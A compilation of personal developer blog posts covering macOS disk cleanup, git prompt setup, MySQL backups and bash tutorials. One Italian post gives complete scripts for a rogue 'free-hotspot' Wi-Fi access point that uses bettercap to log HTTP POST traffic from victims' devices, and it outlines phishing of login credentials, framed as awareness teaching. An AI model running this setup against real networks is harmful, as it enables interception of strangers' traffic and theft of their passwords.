OSX HD Cleanup for Developers

So you are an iOS Developer and Mac user, ain’t it? I’ll show you some tips I use to reclaim my HD space [=

As a Mac user you shold have TimeMachine enabled in order to keep your things backed-up .

You should know that Time Machine has by default the Automatic Backup enabled that takes some snapshots also on local storage waiting for a full backup on your external HD.

It’s show time, so open up a Terminal window!

To see these snapshots you do:

sudo tmutil listlocalsnapshots /
sudo tmutil listlocalsnapshots /
com.apple.TimeMachine.2018-10-02-150623
com.apple.TimeMachine.2018-10-03-120519
com.apple.TimeMachine.2018-10-03-130357
com.apple.TimeMachine.2018-10-03-140849
com.apple.TimeMachine.2018-10-03-150352

In order to delete a local snapshot you have to type:

sudo tmutil deletelocalsnapshots 2018-10-02-150623
sudo tmutil deletelocalsnapshots 2018-10-02-150623
Deleted local snapshot '2018-10-02-150623'

Were you used to disable localsnapshots, do you say?

With OSX High Sierra+ you cannot. (Without disabling automatic backups). Correct me if I’m wrong.

Anyway, if you need to reclaim some of your HD space you could delete all local snapshots in one shot:

sudo tmutil listlocalsnapshots / | sed 's/com.apple.TimeMachine.//g' | xargs -I % sudo tmutil deletelocalsnapshots %
$ sudo tmutil listlocalsnapshots / | sed 's/com.apple.TimeMachine.//g' | xargs -I % sudo tmutil deletelocalsnapshots %
Deleted local snapshot '2018-10-03-130357'
Deleted local snapshot '2018-10-03-140849'
Deleted local snapshot '2018-10-03-150352'
Deleted local snapshot '2018-10-03-160946'

Another trick you could use is to delete all the old Device Debug Support symbols that Xcode download every time you connect a new physial device to your Mac with a new iOS Version. So you will have, for example, debug symbols for 10.3, 10.3.1, 10.3.2, …, 11.0.0, 11.1.0, …, 11.4.1, … and so on.

This symbols are stored in the following directory:

~/Library/Developer/Xcode/iOS DeviceSupport/

Let’s check it out by entering the above directory and typing:

find . -type f -size +1G | xargs -I % du -h %

You sould see some big files (more than 1 giga):

find . -type f -size +1G | xargs -I % du -h %

1.0G ./11.3 (15E216)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.4 (15F79)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.3.1 (15E302)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.2.5 (15D60)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.4.1 (15G77)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

1.0G ./11.2.6 (15D100)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
If you need them no more… delete’em all! (or only the ones you need no more [=)
Hope this tips could be of any help to you. Let me know your tips if you do have different ones!
Bye!
OSX HD Cleanup for Developers

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Poiché l’articolo sul Wi-Fi sniffing è piaciuto molto, mi è stato chiesto anche un articolo che spiegasse la cosa in modo più approfondito utilizzando questa volta una scheda Wi-Fi esterna e la macchina virtuale di Kali Linux.

Cosa ci servere?

1. Una scheda wireless che supporti il  “Monitore Mode”

Ce ne sono tante e da tutti i prezzi. Io ne utilizzo due:

– TP-LINK TL-WN722N che è solo sulla banda 2.4Ghz
– ALFA AWUS051NH v.2 che è sia 2.4GHz che 5Ghz.

Questo tutorial parte dal fatto che la scheda integrata sul vostro PC non sia in grado di andare in Monitor Mode e quindi utilizziate una ulteriore adattatore Wi-Fi esterno. Ad esempio uno dei due presentati sopra. Kali Linux ha già tutti i driver e quindi l’utilizzo di una di queste due schede non richiede l’installazione di software/driver aggiuntivi.

2. La macchina VirtualBox o VMWare di Kali Linux

La potete scaricare dal sito di Offensive Security.

Io utilizzo quella Virtual Box a 64 bit (full, non light). Se volete seguire questo tutorial dovete anche voi scaricare quella full così abbiamo già gli stessi tool preinstallati ed andremo ad aggiungere solo quelli mancanti.


Mi raccomando una volta scaricata controllate la firma sha-256 che su linux e osx potete fare con il comando shasum mentre su Windows potete farlo con SevenZip che, molti non lo sanno, nel menù contestuale vi mette la possibilità di fare l’hash con algoritmo sha di qualunque file.

Fatta partire la macchina virutale vi presenterà il prompt di login. Le credenziali di default sono:

user: root
password: toor

3. Gli script del tutorial

Per l’occasione ho anche messo su GitHub un repository con gli script che utilizzeremo in questo articolo. Lo trovate qui.

Se siete connessi col cavo di rete prendete gli script direttamente dalla cartella rouge_ap altrimenti se siete connessi con la scheda Wi-Fi del vostro PC allora prendete gli script presenti all’interno della cartella wlan0wlan1.

Avete preso nota di tutto?

Okay Partiamo.

Quindi fatta partire la macchina virtuale la prima cosa da fare è il clone del repository

git clone https://github.com/shadowsheep1/tutorials.git

Spostatevi nella cartella rouge_ap o rouge_ap/wlan0wlan1 a seconda della vostra configurazione.

Io mi sposterò nella cartella rouge_ap perché anche se questa volta sono collegato con la scheda Wi-Fi del PC, tale scheda sulla macchina virtuale è sempre vista come interfaccia eth0.

Poi colleghiamo la scheda di rete Wi-Fi USB esterna e tramite VirtualBox connettiamola alla nostra macchina virtuale Kali.

E con un dmesg vediamo che l’hardware è stato riconosciuto

Abbiamo ora la nostra bella interfaccia wlan0 con cui andare a fare l’Access Point Malevolo.

Ora installiamo un server DHCP, perché vogliamo dare ai nostri client una configurazione differente rispetto alla nostra. Solo per aggiungere un po’ di know how al tutorial. Potremmo anche lasciare che il DHCP lo faccia il nostro router.

Per questo tutorial installiamo isc-dhcp-server.

apt-get update && \
apt-get install isc-dhcp-server && \
dhcpd --version

Poi ci server sempre Bettercap.

Le istruzioni per installarlo le trovate sul sito ufficiale.

Il metedo più pulito per l’installazione di bettercap è utilizzare gem.

Quindi:

apt-get update && \
gem install bettercap && \
bettercap --version

Bene abbiamo tutto! 🙂

Possiamo partire con i nostri scritpt.

01_setup_eth0.sh

echo "nameserver 8.8.8.8" > /etc/resolv.conf
cat /etc/resolv.conf
ping www.versionestabile.it -c 3

Questo script potete anche non eseguirlo se volete.

Non fa altro che configurare com server DNS quello di Google (è quasi sempre uno dei più aggiornti).

Ho voluto inserire questo script per chi non sapeva come configurare da riga di comando il server DNS della propria distribuzione linux.

02_setup_ap_wlan0.sh

airmon-ng check kill && \
airmon-ng start wlan0 && \
airbase-ng --essid "free-hostspot" -c1 wlan0mon

Questo script lo avete già laniciato anhe nel tutorial precedente e non fa altro che configurare l’hotspot Wi-Fi con SSID “free-hotspot”.

Lasciate ovviamente aperto questo terminale e apritene un’altro su cui lanciare gli script rimanenti.

03_setup_at0.sh

ifconfig at0 up && \
ifconfig at0 192.168.2.1/24

Questo script configura la scheda di rete logica dell’Access Point (come nel precedente tutorial) e gli assegna il primo indirizzo della rete 192.168.2.0/24.

04_setup_iptables.sh

iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -j ACCEPT
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888

Questo script configura le regole del firewall per il routing e il forwarding.

Una breve descrizione per chi è nuovo a iptables:

  • Il primo comando cancella tutte le regole per la rete del PC.
  • Il secondo comando cancella tutte le regole per la tabella NAT (Network Address Translation)
  • Il terzo comando cancella tutte le catene per la rete del PC.
  • Il quarto comando cancella tutte le catene per la tabella NAT.
  • Il quinto comando A(ggiunge) alla tabella NAT la regola di POSTrouting in cui tutti i pacchetti che vengono fatti uscire (-o) sull’interfaccia eth0 vengono mascherati, ovvero, fa in modo che i anche i pacchetti di una rete differente a quella del PC ma che passano attraverso di lui, vengano re-indirizzati sempre al nostro PC.
  • Il sesto comando A(aggiunge) alle regole della rete del PC il FORWARD dei pacchetti. Ovvero fa in modo che tutti i pacchetti non appartenenti alla rete del PC non vangano “droppati” (ignorati e scartati) ma vengano fatti passare secondo le regole di routing (POST e/o PRE) ipostate.
    L’ultimo comando l’ho commentato perchè lo fa già in automatico bettercap quando viene lanciato. Ovvero su tutti i pacchetti di tipo TCP sulla porta 80 non appartenenti alla rete di queto PC prima di farne il ROUTING vengono rediretti alla porta 8888 (dove ovviamente sarà in ascolto il nostro sniffer).

05_enable_fwd.sh

echo 1 > /proc/sys/net/ipv4/ip_forward
more /proc/sys/net/ipv4/ip_forward

Non basta configurare il firewall affinchè faccia il FORWARD dei pacchetti non appartenenti alla sua rete, ma occorre anche abilitare la cosa a livello di sistema operativo. E quello che fa questo script.

06_start_dhcp.sh

touch /var/lib/dhcp/dhcpd.leases 
dhcpd -cf ./dhcpd.conf

Facciamo partire il server DHCP con la configurazione che abbiamo preparato nel nostro file  dhcp.conf.

Prima crea (se non esiste) il file database dei lease, perchè se non c’è il server si arrabbia (non so perchè non lo crei, magari c’è un comando, ma non avendo mai avuto problemi facendo prima il touch, non ho indagato in merito).

#ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

Questo file configura come si deve comportare il nostro server DHCP.

In particolare a tutti i dispositivi che richiedono la configurazione di rete (quelli che si collegano al nostro Access Point) diamo come IP quelli della rete 192.168.2.0/24 a partire dal .51 fino al .100 (quindi ne accettiamo 50, bastano?)

A voi lo studio e le prove di altre configurazioni 😉

07_bettercap.sh

bettercap --proxy --proxy-port 8888 -I at0 --no-spoofing --no-discovery -P POST --log bettercap.log

E infine lanciamo il nostro sniffer (quello del precedente tutorial).

Lo lanciamo come proxy sulla porta 8888, sull’interfaccia at0, senza fare ARP spoofing questa volta, senza ricerca dei dispositivi (li conosciamo bene 😉 ) con il parser sui log per le richieste http POST e salvando il log nel file “bettercap.log”.

Adesso il mio buon vecchio iPhone5 abbocca e la storia la conoscete bene 😉

Vediamo il nostro free-hotspot

Ci colleghiamo e una volta collegati se clicchiamo sull’icona delle informazioni (i) vediamo che l’iPhone5 da bravo ci dice che la rete è insicura (ma nessuno mai ci bada, tanto abituati siamo negli aereoporti o stazioni ad avere hotstpot senza password).

E vediamo anche che il nostro server DHCP si è comportato bene dando al dispositivo la configurazione IP che gli avevamo detto di dare 😉

CONCLUSIONI

Siamo arrivati alle conclusioni. Innazitutto non smetterò mai di ripeterlo, questo post è solo divulgativo per imparare a conoscere come funzionano le cose in questi casi. Non va fatto mai assolutamente (è REATO) una cosa del genere in pubblico.

Poi pensate. Una volta che avete l’Access Point malevolo, avete visto che configurando il vostro PC in maniera opportuna, siete i completi detentori del traffico di quel dispositivo.

Mettiamo ora il caso, per esempio di voler anche redirigere le richieste di Google o Facebook  (parliamo di Web e non di App) su un sito che risiede sul nostro PC e che si presenta in maniera identica ai loro. Qui dopo che l’utente ha inserito il suo nome utente e la sua password ce le salviamo e redirigiamo il traffico verso i siti reali. Ovviamente è REATO e illegale, ma lo diciamo sempre e solo per renderci conto della pericolosità della cosa nel caso dietro ad un Free-Hotspot ci sia un malintenzionato.

Quindi pensateci sempre due volte prima di collegarvi ad un hotspot senza password, e se potete navigate con la connessione dati 3G/4G del cellulare!

Spero che anche questo articolo vi sia piaciuto. Alla prossima!

Try this ONLY at home #2 – Rouge AP – Sniffing http traffic

Git bash environment on Mac OSX

Oggi vogliamo essere un po’ geek e configurarci il prompt per git a linea di comando.

Per fare questo scarichiamoci questi cinque file più, se volete utilizzarlo come editore predefinito, Sublime Text:

Il profilo dobbiamo importarlo dal menu del nostro terminale: Terminal –> Settings (io l’ho in inglese) e poi sotto la lista di profili, clicchiamo la piccola ruota dentata vicino al “-” (meno)

Scarichiamo (nella cartella Downloads)  bash_profile e apriamo il terminale e digitiamo:

cd
mv Downloads/bash_profile .bash_profile

ATTENZIONE: copiate il .bash_profile solo se non ne avete già uno, altrimenti integrate il vostro con quanto scritto nel mio.

Scarichiamo (nella cartella Downloads) git-prompt.sh e git-completion.bash (presi direttamente dal repository ufficiale di git su GitHub – https://github.com/git/git) e git_configure_commands.sh

Digitiamo i comandi

cd
mv Downloads/git_configure_commands.sh .
mv Downloads/git-completion.bash .
mv Downloads/git-prompt.sh .

A questo punto lanciamo il comando git_configure_commands.sh

./git_configure_commands.sh

che imposterà il conflict style a diff3, metterà il push.default ad upstream e imposterà Sublime Text come l’editore di default per il messaggio di commit (fate attenzione qui che il percorso di Sublime Text sia anche da voi come nel file, altrimenti correggetelo)

A questo punto non vi resta che chiudere e riaprire il terminale e navigare in una cartella che sia un repository git.

Ecco qua!

 

Si lo so, l’interfaccia grafica ci vizia un po’, ma avere anche una riga di comando tutta personalizzata non è male 😉

Git bash environment on Mac OSX

Backup automatizzato di MySql – versione molto semplificata

mysql

Per prima cosa è bene creare un account predisposto al solo backup in modo da poterlo inserire nel file .my.cnf

GRANT USAGE ON *.* TO backup@localhost IDENTIFIED BY 'UnaB3LlaPasswordSicura';
GRANT SELECT,LOCK TABLES ON *.* to backup@localhost;
FLUSH PRIVILEGES;

Questo account avrà quindi solo i diritti di lettura su tutti gli oggetti di MySql.

A questo punto creiamo anche il file .my.cnf che andrà inserito all’interno della stessa cartella in cui viene eseguito lo script di backup contenente il comando mysqldump.

cat > ~/.my.cnf << EOF
[mysqldump]
user=backup
password=UnaB3LlaPasswordSicura

[client]
user=backup
password=UnaB3LlaPasswordSicura
EOF

chmod 600 .my.cnf

A questo punto uno script molto basilare (potete migliorarlo in molti modi) è il seguente

#!/bin/bash
BACKUP_DIR=~/backup
COMMAND_DIR=~/cron
FILENAME="fulldump$(date +%F-%H%M%S)"
FILEPATH="$BACKUP_DIR/$FILENAME"
SQLFILE="$FILEPATH".sql
TARFILE="$FILEPATH".tar.gz
N=1
LOGFILE="$COMMAND_DIR/dump.log"

echo "$(date +%F-%H:%M:%S)" > "$LOGFILE"

echo  "tar file: $TARFILE" >> "$LOGFILE"
echo  "sql file: $SQLFILE" >> "$LOGFILE"

mysqldump --all-databases --routines --flush-privileges -ubackup > $SQLFILE && tar czf $TARFILE $SQLFILE && rm $SQLFILE

# Rimuovere il commento nella riga seguente dopo aver eseguito lo script 'N' volte che sono il numero di backup file che si vuole tenere.
#find $BACKUP_DIR/ -name "fulldump*.tar.gz" | sort -r | tail -$N | xargs rm -f

ls -al $BACKUP_DIR/fulldump*.tar.gz | wc -l >> "$LOGFILE"

E’ tutto. Ora basta dare i diritti di escuzione allo script e inserirlo nella crontab secondo le vostre preferenze.

Backup automatizzato di MySql – versione molto semplificata

cloudrino.net a dream come true!

Do you know cloudrino.net? No?! O_O!!! How dare! 🙂

How many Raspberry Pis do you have at home? Actually I’ve got two Raspbeery Pis running raspbian (no UI), with many many managment scripts running on them! But not only management scripts; also sendmail, DLNA servers and much more…

Now, think to have such a system always available: everytime, everywhere! And now open your eyes and go to cloudrino.net!

They are offering free alpha plans (free for life!) for those that reach the top of  the queue!

And guess what! Today I’m staring at my brand new little cluod server!!! Wow!

cloudrindo-server

So It’s true… your dreams can come true!

Gr8 work guys! I see so much possibilities with my new little cloud server!

cloudrino.net a dream come true!

A little of Bash Shell

Tables are inspired at tables you can find in:
O’Really, Learning the bash Shell, 3rd Edition By 

Utilities

The most wanted utilities in unix should surely be the following ones:

Utility

Purpose

cat

grep

sort

cut

sed

rt

awk

Copy input to output

Search for string in the input

Sort lines in the input

Extract columns from input

Perform editing operation on input

Translate characters in the input to other characters

Full-featured text processing language with a syntax reminiscent of C

For example the grep command is very useful to fing text inside files like shown below:

grep –Hnr “Fabio Bombardi” .

This command search for the string “Fabio Bombardi” in all files, recursively (-r) , starting from the current directory (.), showing the line number (-n) where this string is located in the found file.

I/O Redirectors and pipelines

Redirector

Purpose

<

>

Redirect the right side argument as input of the left side argument

Redirect the output of the left side argument to the left right side argument

For example if your cp command is broken you can use the cat command in the following way:

cat < file1 > file2

This behaves like the command

cp file1 file2

Redirector

Purpose

cmd1 | cmd2

Redirect the output of the left side command cmd1 to the input of the right side command cmd2

For example you can use the command

ls -l | more

to send the list the file in the current directory as the input of the more command.

It’s possible to use the I/O redirection in conjunction with pipelines like in the following example:

cut –d: -f1 < /etc/passwd | sort

this command extract the first field (f1) in the file /etc/passwd, where fields are separated by colons (-d:) and sort that first field showing it on the output.

The above redirectors are the most used. But you may found a plethora of other useful redirectors, above all for a system programmer, like those listed in the table below.

Redirector

Purpose

> file

< file

>> file

>| file

n>| file

<> file

n <> file

<< label

n> file

n< file

n>> file

n>&

n<&

n>&m

n<&m

&> file

<&-

>&-

n>&-

n<&-

Direct standard output to file

Take standard input from file

Direct standard output to file; append to file if it already exists

Force standard output to file even if noclobber is set

Force output to file from file descriptor n even if noclobber is set

Use file as both input and output for file descriptor n

Use file as both input and output for file descriptor n

Here-document; see text

Direct file descriptor n to file

Take file descriptor n from file

Direct file descriptor n to file; append to file if it already exists

Duplicate standard output to file descriptor n

Duplicate standard input from file descriptor n

File descriptor n is made to be a copy of the output file descriptor m

File descriptor n is made to be a copy of the input file descriptor m

Directs standard output and standard error to file

Close the standard input

Close the standard output

Close the output from file descriptor n

Close the input from file descriptor ni

For example if you want to redirect both the standard error and the standard output of the ls command to a logfile you could type what follows:

ls > logfile 2>&1

This will redirect the standard error (2) in the same place where the standard output (1) is directed. Since standard output is redirected to logfile hence also the standard error will be redirected there too.

If you want you could get the same result also with the following commnd:

ls &> logfile

Special characters and quoting

Special characters

Character

Purpose

~

#

$

&

*

(

)

\

|

[

]

{

}

;

<

>

/

?

!

Home directory

Comment

Variable expression

Background job

String wildcar

Start subshell

End subshell

Quote next character

Pipe

Start character-set wildcard

End Character-set wildcard

Smart command block

End command block

Shell command separator

Strong quote

Weak quote

Input redirect

Ouput redirect

Pathname directory separator

Single-character wildcard

Pipeline logical NOT

Quoting

When you want to use special character without their special meaning you have to use quoting. If you surround a string of characters with single quotation marks (or quotes), you strip all characters within the quotes of any special meaning they might have.

For example if you want to print in standard output the string “2*3 > 5 is an invalid inequality” you have to type the following command:

echo ‘2 * 3 > 5 is an invalid inequality’

Otherwise you will get a file named 5 containing the list of 2, all the files in the current directory, and the string “3 is an invalid inequality”!

Another way to change the meaning of a character is to precede it with a backslash (\). This is called backslash-escaping the character.

Quoting and find

The most useful use of the quoting is along with the command find.

If you want to find all the character with .c extension you have to act like below:

find . -name ‘*.c’

Control key setting

To know your control-key setting you can type

stty all

And you will get something like that:

erase kill werase rprnt flush lnext susp intr quit stop eof

^? ^U ^W ^R ^O ^V ^Z/^Y ^C ^\ ^S/^Q ^D

Or type

stty -a

If your Unix version derives from System III or System V (this include also Linux) to obtain a similar list of control-key.

History Expansion

In order to see the list of the history c-shell command you can type the following command:

fc -l

Command

Purpose

!

!!

!n

!-n

!string

!?string?

^string1^string2

Start a history substitution

Refers to the last command

Refers to command line n

Refers to current command line minus n

Refers to the most recent command starting with string

Refers to the most recent command containing string. The ending ? is optional.

Repeat the last command, replacing string1 with string2

Tabella 1 – event designator

For example, if your last command was the whoami command, you are able to retype it only by typing

!!

It’s also passible to refer to certain words in a previous command by the use of a word designator

Designator

Purpose

0

n

^

$

%

x-y

*

x*
x-

The zeroth (first) word in a line

The nth word in a line

The first argument (the second word)

The last argument in a line

The word matched by the most recent ?string search

A range of words from x to y. –y is synonymous with 0-y.

All words but the zeroth (fist). Synonymous with 1-$. If there is only one word on the line, an empty string is returned.

Synonymous with x-$

The words from x to the second last word

Tabella 2 – word designator

The word designator follows the event designator, separated by a colon. It’s possible, for example, repeat the previous command without arguments by typing

!!:0

Or it’s possible to repeat the previous command with different arguments

!!:0 arg0 arg1 arg2

For example if you type

!!:0 --version

(in this case the same like !! –-version)

Lat’s say that your last typed command is whoami, in this case, typing the above command it’s like you would have typed

whoami --version

Event designator may also be followed by modifiers. The modifiers follow the word designator, if there is one.

Modifier

Purpose

h

r

e

t

p

q

x

s/old/new

Remove a trailing pathname component, leaving the head

Removes a trailing suffix of the form .xxx

Removes all but the trailing suffix

Removes all leading pathname components, leaving the tail

Prints the resulting command but doesn’t execute it

Quote the substituted word, escaping further substitutions

Quote the substituted words, breaking them into words at blanks and newlines

Substitutes new for old

Tabella 3 – modifiers

For example if you have just type the following command

grep -Hnr “Fabio Bombardi” .

And you want to retype the above command but to search for “Elena Bombardi” you could type:

!!:s/Fabio/Elena

And you get the following command:

grep -Hnr “Elena Bombardi” .

Setting the X server keyboard map type

If you want to set a different map, let’s say Italian, to your X sever, you could type the following command:

setxkbmap -layout it

Patterns and Pattern Matching

Patterns are strings that can contain wildcard characters.

Operator

Meaning

${variable#pattern}

${variable##pattern}

${variable%pattern}

${variable%%pattern}

${variable/pattern/string}

${variable//pattern/string}

If the pattern matches the beginning of the variable’s value, delete the shortest part that matches and return the rest.

If the pattern matches the beginning of the variable’s value, delete the longest part that matches and return the rest.

If the pattern matches the end of the variable’s value, delete the shortest part that matches and return the rest.

If the pattern matches the end of the variable’s value, delete the longest part that matches and return the rest.

The longest match to pattern in variable is replaced by string. In the first from, only the first match is replaced. In the second form, all the matches are replaced. If the pattern begins with a #, it must match at the start of the variable. If it begins with a %, it must match with the end of the variable. If string is null, the matches are deleted. If variable is @ or *, the operation is applied to each positional parameter in turn and the expansion is the result list.

Tabella 4 – Pattern-Matching Operators

If you want some exaples here you are:

$path /home/shadowsheep/testpatterns/hello.shadowsheep.test

$path##/*/ hello.shadowsheep.test

$path#/*/ shadowsheep/testpatterns/hello.shadowsheep.test

$path%.* /home/shadowsheep/testpatterns/hello.shadowsheep

$path%%.* /home/shadowsheep/testpatterns/hello

If you want to substitute all the occurrence in a string you may want to type:

echo ${PATH//:/’\n’}

/home/usr/bin\n/usr/local/bin\n/bin\n

If you want the echo command to interpret the backslashes character ( like \n) so you may want to type:

echo –e ${PATH//:/’\n’}

/home/usr/bin

/usr/local/bin

/bin

Lessons

Lesson 1

If you want to edit a text file without open a text editor you can use the echo command in the following way:

fbombardi@linux:~/workspace/shell_commands> echo -e "a\n\

a\n\

a\n\

mount -n -t nfs -o nolock,rsize=1024,wsize=1024 172.27.30.179:/home/nfs /NetShared\n\

b\n\

b\n\

end" > test.log

In this way you create a text file named test.log whose content is the following:

a

a

a

mount -n -t nfs -o nolock,rsize=1024,wsize=1024 172.27.30.179:/home/nfs /NetShared

b

b

end

Now if you want to type the command

mount -n -t nfs -o nolock,rsize=1024,wsize=1024 172.27.30.179:/mnt/nfs /NetShared

You can use the following shortcut:

fbombardi@linux:~/workspace/shell_commands> more test.log | grep "mount -n" | sed -e s/home/mnt/

Or even better you can use this shortcut:

fbombardi@linux:~/workspace/shell_commands> grep "mount -n" test.log | sed -e s/home/mnt/

I think that this should be useful when you have a command in a very full written file, otherwise I think that you could be faster in typing the command from scratch =).

Lesson 2

Here we are again. This time we’ll go deeper in the world of the I/O redirection. Let’s say we want to get rid of all the boring messages that the command make show us during the compiling and linking time. What we have to do? The answer is simple and is located in the line below:

make > /dev/null 2>&1

In this way all the boring messages will be redirected in the “black-hole” /dev/null.

Let’s see now that we want to decide which kind of messages to display. I’ll give you a gift showing you on of my favorite shell script:

#

# My Make

# Use this program to customize the make output messages

#

# @author Fabio Bombardi

# @location Datasensor

# @version 2.1.0

# @last-updated 2k6.09.24

#

if [ -n $2 ] && [ "$2" = "-silent" ]; then

break;

else

echo -e "\n"

echo -e \#

echo -e \# My Make

echo -e \# Use this program to customize the make output messages

echo -e \#

echo -e \# @author "\t\t" Fabio Bombardi

echo -e \# "\t\t\t\t" fbombardi@datasensor.com

echo -e \# @location "\t\t" Datasensor

echo -e \# @version "\t\t" 2.1.0

echo -e \# @last-updated "\t" 2k6.09.24

echo -e \#

echo -e "\n"

fi

if [ -z $1 ]; then

echo -e "usage: mymake <type-of-massage>\n\n\t<type-of-massage>=\n\t\twarning\n\t\terror\n\t\tall\n\t\tclean\n"

exit -1

fi

case $1 in

warning )

make 2>&1 | grep "warning" | cat ;;

error )

make 2>&1 | grep "Error" | cat ;;

all )

make 2>&1 | grep "*" | cat ;;

clean)

make clean ;;

* )

echo -e "\ndefault selection: warning\n"

$0 wanrning

esac

In the above shell script the line in bold shows us only the messages containing the word “warning” and hiding all the other messages.

Lesson 3

Let’s say now that we want not only to choose between the make output messages but also to give different colors to this messages (e.g. yellow for warnings and red for error).

In this case we may want to make the following changes in the case statement:

case $1 in

warning )

GREP_COLOR="1;33"

make 2>&1 | grep --color=always "warning" | cat ;;

error )

GREP_COLOR="0;31"

make 2>&1 | grep --color=always "Error" | cat ;;

all )

make 2>&1 | grep "*" | cat ;;

clean)

make clean ;;

* )

echo -e "\ndefault selection: warning\n"

$0 warning ;;

esac

The grep command has the option flag –color that along with the variable GREP_COLOR highlights the pattern word with the color set in the variable GREP_COLOR.

With the above changes we should get something like that:

img_processing.cpp:148: warning: right-hand operand of comma has no effect

img_processing.cpp:367: warning: converting to `unsigned char’ from `float’

img_processing.cpp:477: warning: converting to `int’ from `float’

img_processing.cpp:478: warning: converting to `int’ from `float’

Colors

We could choose, of course, among a plethora of color:

Dark gray: 1;30

Blue: 0;34

Light Blue: 1;34

Green: 0;32

Light green: 1;32

Cyan: 0;36

Light cyan: 1;36

Red: 0;31

Light red: 1;31

Purple: 0;35

Light purple: 1;35

Brown: 0;33

Yellow: 1;33

Light gray: 0;37

White: 1;37

Lesson 4

Let’s say now that we want not only to highlight the keywords (warning, error) but the entire lines!

What follows is what we could do to be successful:

case $1 in

warning )

echo -e "\033[1;33m"

make 2>&1 | grep "warning" | cat

echo -e "\033[1;37m" ;;

error )

echo -e "\033[1;31m"

make 2>&1 | grep --color=always "Error" | cat

echo -e "\033[1;37m" ;;

all )

make 2>&1 | grep "*" | cat ;;

clean)

echo -e "\033[1;32m"

make clean

echo -e "\033[1;37m\n" ;;

* )

echo -e "\033[1;35m"

echo -e "\ndefault selection: warning\n"

echo -e "\033[1;37m\n"

$0 warning ;;

esac

And we’ll get the following output:

img_processing.cpp:148: warning: right-hand operand of comma has no effect

img_processing.cpp:367: warning: converting to `unsigned char’ from `float’

img_processing.cpp:477: warning: converting to `int’ from `float’

img_processing.cpp:478: warning: converting to `int’ from `float’

A little of Bash Shell

Script bash per controllo esecuzione di un processo

Per controllare se un processo è in esecuzione su linux ed eventualmente farlo ripartire se non lo è, si può utilizzare questo semplice script:

#!/bin/bash
#check_process_and_restart_it.sh
#make sure your-process is running

export DISPLAY=:0 #needed if you are running a simple gui app.

process=your-process
makerun="/usr/bin/python /usr/bin/your-process"

if ps ax | grep -v grep | grep $process > /dev/null
        then
                exit
        else
        $makerun &

	echo "Date: " $(date) >> /root/scripts/your-process.log
fi
exit
Script bash per controllo esecuzione di un processo